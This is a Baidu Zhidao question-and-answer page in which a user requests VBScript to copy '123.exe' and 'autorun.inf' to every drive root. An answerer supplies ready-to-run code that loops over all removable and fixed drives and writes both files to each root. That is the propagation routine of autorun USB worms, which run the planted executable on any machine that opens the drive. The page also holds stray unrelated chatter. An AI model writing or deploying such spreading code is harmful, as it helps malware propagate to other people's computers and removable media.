用VBS当前指定的 123.EXE和autorun.inf 到每个盘的根目录下

来源:百度知道 编辑:UC知道 时间:2024/06/05 07:44:31
我要原代码,,最好要有说明,我看不懂VBS
如果成功我再追回50分
汉!!现在感觉这个世界真小.. 呵呵^^

难道是兄弟你吗?
还是没明白???

Set objfso=CreateObject("scripting.filesystemobject")
exefile="123.exe"        'exe文件
autofile="autorun.inf"        'autorun.inf文件
For Each objdrv In objfso.Drives
        If objdrv.DriveType=1 Or objdrv.DriveType=2 Then
                objfso.CopyFile exefile,objdrv.DriveLetter & ":\",True
                objfso.CopyFile autofile,objdrv.DriveLetter & ":\",True
        End If
Next

不明白百度HI我。